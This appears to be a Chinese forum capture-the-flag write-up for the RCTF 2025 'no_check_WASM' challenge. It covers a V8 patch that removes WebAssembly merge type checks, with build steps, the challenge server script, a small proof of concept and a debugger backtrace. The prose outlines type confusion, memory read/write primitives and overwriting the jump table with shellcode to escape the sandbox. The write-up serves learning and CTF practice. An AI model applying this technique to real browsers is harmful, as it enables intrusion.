首页
社区
课程
招聘
[原创] RCTF 2025 - no_check_WASM
发表于: 2025-11-18 10:08 3447

[原创] RCTF 2025 - no_check_WASM

2025-11-18 10:08
3447

pwn2own 24过后,wasm子系统一直是v8漏洞挖掘的热点,这次出到wasm模块相关的内容,因此想着过来看一下,但是比赛的时候笔者有一个步骤卡住了,导致没构造出最后的逃逸原语,可惜可惜

赛后与@Tplus@Qanux师傅交流了下,解决了自己卡住的地方,感谢两位师傅。

编译参数是,默认开启沙箱

题目下发的commit hash是42f5ff65d12f0ef9294fa7d3875feba938a81904

提交比较新,所以nday bypass的概率很低,就直接分析patch文件

看下文件上传逻辑,算一个hash,然后直接上传,文件大小<102400,应该是考虑到了wasm-module-builder.js的因素,所以这么大

注意这里的启动参数加了一个这个--no-memory-protection-keys,其实是为了防止intel cpu的pkey内存保护,简单的说就是构造出AAR和AAW之后,写一些内存页的时候会crash,详细的内容见这个issue

环境搭建一下,方便本地调试

修改编译参数为如下

接着autoninja -C out/x64.release d8 编译

提取下patch内容

主要patch的位置在WasmFullDecoder类里,这个类主要负责解析wasm函数体的内容,追下函数TypeCheckStackAgainstMerge_Slow,发现是一个slow path的函数,所以大概率还有fast path判断的逻辑

找到了上层函数,想要进入这slow path的话需要让栈值数量与函数签名不匹配,或者是一些复杂的函数

同时也需要注意到这个check是针对于merge point的检查,所以构造某些参数数量正常的函数的时候,需要采用特殊的branch

那么这里就可以简单构建一个poc,下一个断点来测试一下是否能抵达这个位置

其实是可以的

当前的栈回溯(部分

那我们的推测是没问题的,构造一个wasm stack的值数量与实际函数签名不符合的情况/或者是一个比较复杂的函数,可以进入到被patch的函数,接着来看patch掉了什么逻辑

首先被patch掉的是对于wasm stack的值数量与实际函数签名不相等,意味着可以去传递多个参数,也就是说可以通过传递多个返回值的方法去泄漏wasm stack上的内容,泄漏出的值大概率是v8沙箱之外的,这个也可以算上是沙箱逃逸的第一步了

下发会调用IsSubtypeOf对于stack_values进行类型检查,如果不符合则会报错,详细的实现位于v8/src/wasm/wasm-subtyping.cc:L421

这里的意思是wasm子类型检查被删去,因此可以实现类似于这样的类型混淆i64→struct。wasm的设计文档其实有很多,这里只是举了一个简单的例子,因此不难想到一些类型混淆的思路,下方的extern可以理解为js中的对象,struct可以通过get和set方式进行取值,也就是类似于指针解引的过程

其中AAR和AAW笔者比赛的时候犯了一个错误,在一个函数体中,直接将i64 cast为ref struct,然后直接解引用,这就造成了问题。

当对于一个struct类型进行kExprStructSet或者kExprStructGet操作的时候,会去检查底层的heaptype,因此当直接传入一个i64的值,不进行先进行类型混淆,而是直接cast使用就会造成问题。本质上就是触发了struct.get/set的检查,也并不是对于patch的利用,铸币了

而如果提前进行混淆,采用将i64转换成ref struct的方式,这会进入到这个函数

产生如下的调用链,将原本的i64标记为ref struct,因此后续利用的时候可以将这个i64接引,造成沙箱逃逸

这里用到上面提到的思路,当然下方也可以采用i64,这样也方便泄漏出cage_base,也可以通过泄漏indirectcall的函数ref,思路很多

下方就是addressOf和fakeObj的原语,然后leak_cage_base的逻辑其实和addressOf是一致的,leak_cage_base主要是这里没有截断高32位,所以可以泄漏出沙箱的基地址

通过上方的分析,其实我们可以通过参数不匹配的方式去泄漏wasm stack的值,所以这里可以尝试一下能泄漏出什么东西

这里泄漏出了 raw pointer(64-bit C++ 栈地址),通过扫描这个栈区域,可以找到

与上方分析的一致,这里需要将i64 → struct → i64,这样就可以实现沙箱逃逸,需要注意的是i64 → struct最好单独拆开,写成一个wasm函数供另外的wasm函数调用,代码如下。

接着就可以对于泄漏出的栈地址进行扫描,经过测试,可以发现第一个泄露出来的地址位于jit code所在的段,后续计算也发现与trusted_data中的jump_table偏移固定,因此我们可以得到jump_table的具体地址,并修改为我们的shellcode,出于稳定性的考虑,可以在前面加上一个nop指令即可

这里泄漏出来的值与栈偏移处的值并不相等,原因应该是当i64被cast成struct的时候,底层的heaptype等字段被修改,因此实际转换成struct进行取值的时候,会略微有偏差(通过以前阅读src/wasm/*的推测,这次并没有通过源码验证)

ai搓一个就行(

dcheck_always_on = false
is_debug = false
target_cpu = "x64"
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
import sys
import os
import hashlib
 
 
 
def pow():
    prefix = "rctf".encode()
    target = os.urandom(3).hex().encode()
    target_hash = hashlib.sha256(prefix + target).hexdigest()
 
    sys.stdout.write("=== Proof of Work Challenge ===\n")
    sys.stdout.write(f"Find a nonce such that SHA-256('{prefix.decode()}' + nonce) == {target_hash}\n")
    sys.stdout.write("nonce:")
    sys.stdout.flush()
    nonce = read_exactly(6).encode()
    data = prefix + nonce
    current_hash = hashlib.sha256(data).hexdigest()
    if current_hash == target_hash:
        sys.stdout.write("pow success!\n")
        sys.stdout.flush()
        return
    else:
        sys.stdout.write("pow failed!\n")
        sys.stdout.flush()
        exit(0)
 
def read_exactly(n):
    result = []
    remaining = n
    while remaining > 0:
        data = sys.stdin.read(remaining)
        if not data:
            break
        result.append(data)
        remaining -= len(data)
    return ''.join(result)
 
pow()
sys.stdout.write("script size:\n")
sys.stdout.flush()
size = int(sys.stdin.readline().strip())
if size > 102400:
    sys.stdout.write("too large!\n")
    sys.stdout.flush()
    sys.exit(1)
sys.stdout.write("script:\n")
sys.stdout.flush()
script = read_exactly(size)
with open(sys.argv[1], 'w') as f:
    f.write(script)
 
os.system("/home/ctf/d8 --no-memory-protection-keys " + sys.argv[1])
import sys
import os
import hashlib
 
 
 
def pow():
    prefix = "rctf".encode()
    target = os.urandom(3).hex().encode()
    target_hash = hashlib.sha256(prefix + target).hexdigest()
 
    sys.stdout.write("=== Proof of Work Challenge ===\n")
    sys.stdout.write(f"Find a nonce such that SHA-256('{prefix.decode()}' + nonce) == {target_hash}\n")
    sys.stdout.write("nonce:")
    sys.stdout.flush()
    nonce = read_exactly(6).encode()
    data = prefix + nonce
    current_hash = hashlib.sha256(data).hexdigest()
    if current_hash == target_hash:
        sys.stdout.write("pow success!\n")
        sys.stdout.flush()
        return
    else:
        sys.stdout.write("pow failed!\n")
        sys.stdout.flush()
        exit(0)
 
def read_exactly(n):
    result = []
    remaining = n
    while remaining > 0:
        data = sys.stdin.read(remaining)
        if not data:
            break
        result.append(data)
        remaining -= len(data)
    return ''.join(result)
 
pow()
sys.stdout.write("script size:\n")
sys.stdout.flush()
size = int(sys.stdin.readline().strip())
if size > 102400:
    sys.stdout.write("too large!\n")
    sys.stdout.flush()
    sys.exit(1)
sys.stdout.write("script:\n")
sys.stdout.flush()
script = read_exactly(size)
with open(sys.argv[1], 'w') as f:
    f.write(script)
 
os.system("/home/ctf/d8 --no-memory-protection-keys " + sys.argv[1])
git reset --hard 42f5ff65d12f0ef9294fa7d3875feba938a81904
gclient sync -D
git apply < ./patch
gn args out/x64.release
git reset --hard 42f5ff65d12f0ef9294fa7d3875feba938a81904
gclient sync -D
git apply < ./patch
gn args out/x64.release
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false
symbol_level = 2
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false
symbol_level = 2
diff --git a/src/wasm/function-body-decoder-impl.h b/src/wasm/function-body-decoder-impl.h
index b65ba5b9675..163fc536138 100644
--- a/src/wasm/function-body-decoder-impl.h
+++ b/src/wasm/function-body-decoder-impl.h
@@ -7878,27 +7878,27 @@ class WasmFullDecoder : public WasmDecoder<ValidationTag, decoding_mode> {
     // if the current code is reachable even if it is spec-only reachable.
     if (V8_LIKELY(decoding_mode == kConstantExpression ||
                   !control_.back().unreachable())) {
-      if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
-        this->DecodeError("expected %u elements on the stack for %s, found %u",
-                          arity, merge_description, actual);
-        return false;
-      }
-      // Typecheck the topmost {merge->arity} values on the stack.
-      Value* stack_values = stack_.end() - arity;
-      for (uint32_t i = 0; i < arity; ++i) {
-        Value& val = stack_values[i];
-        Value& old = (*merge)[i];
-        if (!IsSubtypeOf(val.type, old.type, this->module_)) {
-          this->DecodeError("type error in %s[%u] (expected %s, got %s)",
-                            merge_description, i, old.type.name().c_str(),
-                            val.type.name().c_str());
-          return false;
-        }
-        if constexpr (static_cast<bool>(rewrite_types)) {
-          // Upcast type on the stack to the target type of the label.
-          val.type = old.type;
-        }
-      }
+      // if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
+      //   this->DecodeError("expected %u elements on the stack for %s, found %u",
+      //                     arity, merge_description, actual);
+      //   return false;
+      // }
+      // // Typecheck the topmost {merge->arity} values on the stack.
+      // Value* stack_values = stack_.end() - arity;
+      // for (uint32_t i = 0; i < arity; ++i) {
+      //   Value& val = stack_values[i];
+      //   Value& old = (*merge)[i];
+      //   if (!IsSubtypeOf(val.type, old.type, this->module_)) {
+      //     this->DecodeError("type error in %s[%u] (expected %s, got %s)",
+      //                       merge_description, i, old.type.name().c_str(),
+      //                       val.type.name().c_str());
+      //     return false;
+      //   }
+      //   if constexpr (static_cast<bool>(rewrite_types)) {
+      //     // Upcast type on the stack to the target type of the label.
+      //     val.type = old.type;
+      //   }
+      // }
       return true;
     }
     // Unreachable code validation starts here.
diff --git a/src/wasm/function-body-decoder-impl.h b/src/wasm/function-body-decoder-impl.h
index b65ba5b9675..163fc536138 100644
--- a/src/wasm/function-body-decoder-impl.h
+++ b/src/wasm/function-body-decoder-impl.h
@@ -7878,27 +7878,27 @@ class WasmFullDecoder : public WasmDecoder<ValidationTag, decoding_mode> {
     // if the current code is reachable even if it is spec-only reachable.
     if (V8_LIKELY(decoding_mode == kConstantExpression ||
                   !control_.back().unreachable())) {
-      if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
-        this->DecodeError("expected %u elements on the stack for %s, found %u",
-                          arity, merge_description, actual);
-        return false;
-      }
-      // Typecheck the topmost {merge->arity} values on the stack.
-      Value* stack_values = stack_.end() - arity;
-      for (uint32_t i = 0; i < arity; ++i) {
-        Value& val = stack_values[i];
-        Value& old = (*merge)[i];
-        if (!IsSubtypeOf(val.type, old.type, this->module_)) {
-          this->DecodeError("type error in %s[%u] (expected %s, got %s)",
-                            merge_description, i, old.type.name().c_str(),
-                            val.type.name().c_str());
-          return false;
-        }
-        if constexpr (static_cast<bool>(rewrite_types)) {
-          // Upcast type on the stack to the target type of the label.
-          val.type = old.type;
-        }
-      }
+      // if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
+      //   this->DecodeError("expected %u elements on the stack for %s, found %u",
+      //                     arity, merge_description, actual);
+      //   return false;
+      // }
+      // // Typecheck the topmost {merge->arity} values on the stack.
+      // Value* stack_values = stack_.end() - arity;
+      // for (uint32_t i = 0; i < arity; ++i) {
+      //   Value& val = stack_values[i];
+      //   Value& old = (*merge)[i];
+      //   if (!IsSubtypeOf(val.type, old.type, this->module_)) {
+      //     this->DecodeError("type error in %s[%u] (expected %s, got %s)",
+      //                       merge_description, i, old.type.name().c_str(),
+      //                       val.type.name().c_str());
+      //     return false;
+      //   }
+      //   if constexpr (static_cast<bool>(rewrite_types)) {
+      //     // Upcast type on the stack to the target type of the label.
+      //     val.type = old.type;
+      //   }
+      // }
       return true;
     }
     // Unreachable code validation starts here.
template <StackElementsCountMode strict_count,
          PushBranchValues push_branch_values, MergeType merge_type,
          RewriteStackTypes rewrite_types>
V8_INLINE bool TypeCheckStackAgainstMerge(Merge<Value>* merge) {
  uint32_t arity = merge->arity;
  uint32_t actual = stack_.size() - control_.back().stack_depth;
  // Handle trivial cases first. Arity 0 is the most common case.
  if (arity == 0 && (!strict_count || actual == 0)) return true;
  // Arity 1 is still common enough that we handle it separately (only doing
  // the most basic subtype check).
  if (arity == 1 && (strict_count ? actual == arity : actual >= arity)) {
    if (stack_.back().type == merge->vals.first.type) return true;
  }
  return TypeCheckStackAgainstMerge_Slow<strict_count, push_branch_values,
                                         merge_type, rewrite_types>(merge);
}
template <StackElementsCountMode strict_count,
          PushBranchValues push_branch_values, MergeType merge_type,
          RewriteStackTypes rewrite_types>
V8_INLINE bool TypeCheckStackAgainstMerge(Merge<Value>* merge) {
  uint32_t arity = merge->arity;
  uint32_t actual = stack_.size() - control_.back().stack_depth;
  // Handle trivial cases first. Arity 0 is the most common case.
  if (arity == 0 && (!strict_count || actual == 0)) return true;
  // Arity 1 is still common enough that we handle it separately (only doing
  // the most basic subtype check).
  if (arity == 1 && (strict_count ? actual == arity : actual >= arity)) {
    if (stack_.back().type == merge->vals.first.type) return true;
  }
  return TypeCheckStackAgainstMerge_Slow<strict_count, push_branch_values,
                                         merge_type, rewrite_types>(merge);
}
enum StackElementsCountMode : bool {
  kNonStrictCounting = false,
  kStrictCounting = true
};
 
enum MergeType {
  kBranchMerge,
  kReturnMerge,
  kFallthroughMerge,
  kInitExprMerge
};
 
enum class PushBranchValues : bool {
  kNo = false,
  kYes = true,
};
enum class RewriteStackTypes : bool {
  kNo = false,
  kYes = true,
};
 
// - If the current code is reachable, check if the current stack values are
//   compatible with {merge} based on their number and types. If
//   {strict_count}, check that #(stack elements) == {merge->arity}, otherwise
//   #(stack elements) >= {merge->arity}.
// - If the current code is unreachable, check if any values that may exist on
//   top of the stack are compatible with {merge}. If {push_branch_values},
//   push back to the stack values based on the type of {merge} (this is
//   needed for conditional branches due to their typing rules, and
//   fallthroughs so that the outer control finds the expected values on the
//   stack). TODO(manoskouk): We expect the unreachable-code behavior to
//   change, either due to relaxation of dead code verification, or the
//   introduction of subtyping.
enum StackElementsCountMode : bool {
  kNonStrictCounting = false,
  kStrictCounting = true
};
 
enum MergeType {
  kBranchMerge,
  kReturnMerge,
  kFallthroughMerge,
  kInitExprMerge
};
 
enum class PushBranchValues : bool {
  kNo = false,
  kYes = true,
};
enum class RewriteStackTypes : bool {
  kNo = false,
  kYes = true,
};
 
// - If the current code is reachable, check if the current stack values are
//   compatible with {merge} based on their number and types. If
//   {strict_count}, check that #(stack elements) == {merge->arity}, otherwise
//   #(stack elements) >= {merge->arity}.
// - If the current code is unreachable, check if any values that may exist on
//   top of the stack are compatible with {merge}. If {push_branch_values},
//   push back to the stack values based on the type of {merge} (this is
//   needed for conditional branches due to their typing rules, and
//   fallthroughs so that the outer control finds the expected values on the
//   stack). TODO(manoskouk): We expect the unreachable-code behavior to
//   change, either due to relaxation of dead code verification, or the
//   introduction of subtyping.
var wasm_mode = 1;
 
if(wasm_mode){
    prefix = "../../";
    path = "test/mjsunit/wasm/wasm-module-builder.js";
    d8.file.execute(prefix + path);
}
 
builder.addFunction("poc", makeSig([], [kWasmI32,kWasmI32,kWasmI32]))
  .exportFunc()
  .addBody([
  ]);
 
const instance = builder.instantiate();
let {poc} = instance.exports;
poc();
var wasm_mode = 1;
 
if(wasm_mode){
    prefix = "../../";
    path = "test/mjsunit/wasm/wasm-module-builder.js";
    d8.file.execute(prefix + path);
}
 
builder.addFunction("poc", makeSig([], [kWasmI32,kWasmI32,kWasmI32]))
  .exportFunc()
  .addBody([
  ]);
 
const instance = builder.instantiate();
let {poc} = instance.exports;
poc();
pwndbg> bt
#0  v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::TypeCheckStackAgainstMerge_Slow<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::PushBranchValues)0, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::RewriteStackTypes)0> (this=0x7ffd209c0b90, merge=0x2bbc00ea5168) at ../../src/wasm/function-body-decoder-impl.h:7879
#1  0x00006344fcec439a in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::TypeCheckStackAgainstMerge<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::PushBranchValues)0, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::RewriteStackTypes)0> (this=0x7ffd209c0b90, merge=0x2bbc00ea5101) at ../../src/wasm/function-body-decoder-impl.h:7860
#2  v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DoReturn<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2> (this=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:7935
#3  v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeEndImpl (this=0x7ffd209c0b90, opcode=<optimized out>, trace_msg=<optimized out>) at ../../src/wasm/function-body-decoder-impl.h:4036
#4  v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeEnd (decoder=0x7ffd209c0b90, opcode=<optimized out>) at ../../src/wasm/function-body-decoder-impl.h:3943
#5  0x00006344fcec289b in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeFunctionBody (this=this@entry=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:3287
#6  0x00006344fcec0a24 in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::Decode (this=this@entry=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:3110
#7  0x00006344fcec06df in v8::internal::wasm::ValidateFunctionBody (zone=zone@entry=0x7ffd209c0d20, enabled=..., module=<optimized out>, detected=detected@entry=0x7ffd209c0dd0, body=...) at ../../src/wasm/function-body-decoder.cc:80
#8  0x00006344fcf020b6 in v8::internal::wasm::(anonymous namespace)::ValidateFunctionsTask::ValidateFunction (this=0x2bbc0000c230, func_index=0, zone=0x7ffd209c0d20, detected_features=0x7ffd209c0dd0) at ../../src/wasm/module-decoder.cc:582
#9  v8::internal::wasm::(anonymous namespace)::ValidateFunctionsTask::Run (this=0x2bbc0000c230, delegate=0x7ffd209c0e20) at ../../src/wasm/module-decoder.cc:558
#10 0x00006344fdc0ae16 in v8::platform::DefaultJobState::Join (this=0x2bbc0004ac88) at ../../src/libplatform/default-job.cc:141
#11 0x00006344fdc0b2c3 in v8::platform::DefaultJobHandle::Join (this=0x2bbc0000ad80) at ../../src/libplatform/default-job.cc:231
#12 0x00006344fcef30b0 in v8::internal::wasm::ValidateFunctions(v8::internal::wasm::WasmModule const*, v8::internal::wasm::WasmEnabledFeatures, v8::base::Vector<unsigned char const>, std::__Cr::function<bool (int)>, v8::internal::wasm::WasmDetectedFeatures*) (module=module@entry=0x2bbc00064398, enabled_features=..., wire_bytes=..., filter=..., detected_features_out=0x7ffd209c0f48) at ../../src/wasm/module-decoder.cc:660
#13 0x00006344fcee987b in v8::internal::wasm::(anonymous namespace)::ValidateFunctions (module=0x2bbc00064398, wire_bytes=..., enabled_features=..., only_lazy_functions=<optimized out>, detected_features=0x7ffd209c0f48) at ../../src/wasm/module-compiler.cc:2192
#14 v8::internal::wasm::(anonymous namespace)::ValidateFunctions (native_module=..., only_lazy_functions=<optimized out>) at ../../src/wasm/module-compiler.cc:2200
#15 0x00006344fcee5050 in v8::internal::wasm::(anonymous namespace)::CompileNativeModule (thrower=0x7ffd209c1368, native_module=..., pgo_info=<optimized out>) at ../../src/wasm/module-compiler.cc:2232
#16 v8::internal::wasm::(anonymous namespace)::GetOrCompileNewNativeModule (isolate=0x2bbc00184000, enabled_features=..., detected_features=..., compile_imports=..., thrower=0x7ffd209c1368, compilation_id=<optimized out>, module=..., wire_bytes=..., context_id=..., pgo_info=<optimized out>) at ../../src/wasm/module-compiler.cc:2340
#17 v8::internal::wasm::CompileToNativeModule (isolate=isolate@entry=0x2bbc00184000, enabled_features=..., detected_features=..., compile_imports=..., thrower=thrower@entry=0x7ffd209c1368, module=..., wire_bytes=..., compilation_id=0, context_id=..., pgo_info=0x0) at ../../src/wasm/module-compiler.cc:2381
#18 0x00006344fcf40ce2 in v8::internal::wasm::WasmEngine::SyncCompile (this=0x2bbc00114118, isolate=0x2bbc00184000, enabled_features=..., compile_imports=..., thrower=0x7ffd209c1368, bytes=...) at ../../src/wasm/wasm-engine.cc:709
#19 0x00006344fcf5a158 in v8::(anonymous namespace)::WebAssemblyModuleImpl (info=...) at ../../src/wasm/wasm-js.cc:879
#20 v8::internal::wasm::WebAssemblyModule (info=...) at ../../src/wasm/wasm-js.cc:3074
#21 0x00006344fc45418f in v8::internal::FunctionCallbackArguments::CallOrConstruct (this=this@entry=0x7ffd209c14e8, function=..., is_construct=<optimized out>) at ../../src/api/api-arguments-inl.h:93
#22 0x00006344fc4538eb in v8::internal::(anonymous namespace)::HandleApiCallHelper<true> (isolate=isolate@entry=0x2bbc00184000, new_target=..., fun_data=..., receiver=..., argv=argv@entry=0x7ffd209c1610, argc=argc@entry=2) at ../../src/builtins/builtins-api.cc:105
#23 0x00006344fc452ffb in v8::internal::Builtin_Impl_HandleApiConstruct (args=..., isolate=0x2bbc00184000) at ../../src/builtins/builtins-api.cc:136
#24 0x00006344fdaac4f6 in Builtins_CEntry_Return1_ArgvOnStack_BuiltinExit ()
#25 0x00006344fda0006a in Builtins_InterpreterPushArgsThenFastConstructFunction ()
pwndbg> bt
#0  v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::TypeCheckStackAgainstMerge_Slow<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::PushBranchValues)0, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::RewriteStackTypes)0> (this=0x7ffd209c0b90, merge=0x2bbc00ea5168) at ../../src/wasm/function-body-decoder-impl.h:7879
#1  0x00006344fcec439a in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::TypeCheckStackAgainstMerge<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::PushBranchValues)0, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::RewriteStackTypes)0> (this=0x7ffd209c0b90, merge=0x2bbc00ea5101) at ../../src/wasm/function-body-decoder-impl.h:7860
#2  v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DoReturn<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2> (this=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:7935
#3  v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeEndImpl (this=0x7ffd209c0b90, opcode=<optimized out>, trace_msg=<optimized out>) at ../../src/wasm/function-body-decoder-impl.h:4036
#4  v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeEnd (decoder=0x7ffd209c0b90, opcode=<optimized out>) at ../../src/wasm/function-body-decoder-impl.h:3943
#5  0x00006344fcec289b in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeFunctionBody (this=this@entry=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:3287
#6  0x00006344fcec0a24 in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::Decode (this=this@entry=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:3110
#7  0x00006344fcec06df in v8::internal::wasm::ValidateFunctionBody (zone=zone@entry=0x7ffd209c0d20, enabled=..., module=<optimized out>, detected=detected@entry=0x7ffd209c0dd0, body=...) at ../../src/wasm/function-body-decoder.cc:80
#8  0x00006344fcf020b6 in v8::internal::wasm::(anonymous namespace)::ValidateFunctionsTask::ValidateFunction (this=0x2bbc0000c230, func_index=0, zone=0x7ffd209c0d20, detected_features=0x7ffd209c0dd0) at ../../src/wasm/module-decoder.cc:582
#9  v8::internal::wasm::(anonymous namespace)::ValidateFunctionsTask::Run (this=0x2bbc0000c230, delegate=0x7ffd209c0e20) at ../../src/wasm/module-decoder.cc:558
#10 0x00006344fdc0ae16 in v8::platform::DefaultJobState::Join (this=0x2bbc0004ac88) at ../../src/libplatform/default-job.cc:141
#11 0x00006344fdc0b2c3 in v8::platform::DefaultJobHandle::Join (this=0x2bbc0000ad80) at ../../src/libplatform/default-job.cc:231
#12 0x00006344fcef30b0 in v8::internal::wasm::ValidateFunctions(v8::internal::wasm::WasmModule const*, v8::internal::wasm::WasmEnabledFeatures, v8::base::Vector<unsigned char const>, std::__Cr::function<bool (int)>, v8::internal::wasm::WasmDetectedFeatures*) (module=module@entry=0x2bbc00064398, enabled_features=..., wire_bytes=..., filter=..., detected_features_out=0x7ffd209c0f48) at ../../src/wasm/module-decoder.cc:660
#13 0x00006344fcee987b in v8::internal::wasm::(anonymous namespace)::ValidateFunctions (module=0x2bbc00064398, wire_bytes=..., enabled_features=..., only_lazy_functions=<optimized out>, detected_features=0x7ffd209c0f48) at ../../src/wasm/module-compiler.cc:2192
#14 v8::internal::wasm::(anonymous namespace)::ValidateFunctions (native_module=..., only_lazy_functions=<optimized out>) at ../../src/wasm/module-compiler.cc:2200
#15 0x00006344fcee5050 in v8::internal::wasm::(anonymous namespace)::CompileNativeModule (thrower=0x7ffd209c1368, native_module=..., pgo_info=<optimized out>) at ../../src/wasm/module-compiler.cc:2232
#16 v8::internal::wasm::(anonymous namespace)::GetOrCompileNewNativeModule (isolate=0x2bbc00184000, enabled_features=..., detected_features=..., compile_imports=..., thrower=0x7ffd209c1368, compilation_id=<optimized out>, module=..., wire_bytes=..., context_id=..., pgo_info=<optimized out>) at ../../src/wasm/module-compiler.cc:2340
#17 v8::internal::wasm::CompileToNativeModule (isolate=isolate@entry=0x2bbc00184000, enabled_features=..., detected_features=..., compile_imports=..., thrower=thrower@entry=0x7ffd209c1368, module=..., wire_bytes=..., compilation_id=0, context_id=..., pgo_info=0x0) at ../../src/wasm/module-compiler.cc:2381
